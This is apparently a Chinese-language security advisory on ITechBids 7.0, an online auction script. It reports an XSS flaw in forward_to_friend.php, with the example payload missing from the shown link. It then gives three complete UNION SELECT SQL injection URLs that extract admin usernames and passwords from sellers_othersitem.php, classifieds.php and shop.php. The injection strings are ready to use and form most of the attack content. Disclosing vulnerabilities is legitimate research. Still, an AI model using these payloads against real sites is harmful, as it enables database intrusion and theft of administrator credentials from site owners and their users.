ITechBids 7.0 多项远程安全漏洞分析
本次分析的对象是ITechBids 7.0版本,这是一款由Itechscripts.com提供、开发者署名为Encrypt3d.M!nd的在线竞价脚本。需要提前说明的是,由于时间关系,本次排查可能并不彻底,脚本中很可能还存在其他未被发现的漏洞点。
漏洞一:跨站脚本攻击(XSS)
问题出在forward_to_friend.php这个文件上。攻击原理很简单:该文件对productid参数的处理不够严格,没有进行有效的过滤或编码。
攻击者可以构造如下链接:
/forward_to_friend.php?productid=
当用户访问这个被恶意构造的链接时,嵌入的Ja vaScript代码就会被执行。这意味着,攻击者完全有可能利用此漏洞窃取用户会话Cookie或进行其他恶意操作。
漏洞二:远程SQL注入(多处)
相比之下,SQL注入漏洞的危害性通常更为直接。在ITechBids 7.0中,至少有三个文件存在此问题:
sellers_othersitem.phpclassifieds.phpshop.php
值得一提的是,实际受影响的文件可能不止这些,只是目前的技术条件下,还无法成功利用其他疑似点。
下面我们来看具体的利用方式。以获取管理员账户信息为例,攻击者可以通过以下Payload直接获取用户名和密码的拼接字符串:
针对 sellers_othersitem.php:
/sellers_othersitem.php?seller_id=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
针对 classifieds.php:
/classifieds.php?productid=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
针对 shop.php:
/shop.php?id=666666 union select 1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from admin
从技术角度看,这些漏洞的共同点在于,对用户输入的关键参数(如seller_id, productid, id)完全没有进行有效的类型检查或转义处理,导致攻击者可以插入恶意的SQL代码,直接操纵数据库查询。这对于一个在线交易系统来说,无疑是致命的。
最后,向所有安全研究同仁致意。分析至此结束。
